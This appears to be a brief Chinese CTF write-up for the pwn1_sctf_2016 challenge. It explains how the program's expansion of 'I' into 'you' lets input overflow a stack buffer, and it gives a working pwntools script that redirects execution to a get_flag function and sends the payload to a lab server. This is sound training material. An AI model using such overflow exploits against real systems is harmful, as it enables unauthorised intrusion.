32位,没有保护
fgets函数最多输入32位,没办法溢出,但是有两个转化函数
输出 I 的话会被转换成 YOU
这样的话就可以溢出了溢出到这个函数
int get_flag()
{
return system("cat flag.txt");
}
from pwn import *
context(os="linux", arch="x86", log_level='debug')
content = 0
elf = ELF("pwn1_sctf_2016")
get_flag_addr = elf.symbols["get_flag"]# 0x08048F0D
def main():
if content == 1:
peiqi = process("pwn1_sctf_2016")
else:
peiqi = remote("node3.buuoj.cn",27626)
payload = b'I' * 21 + b'a' # 0x3c + 4 --> b'you' * 21 + 'a' = 64
payload = payload + p32(get_flag_addr)
peiqi.sendline(payload)
peiqi.interactive()
main()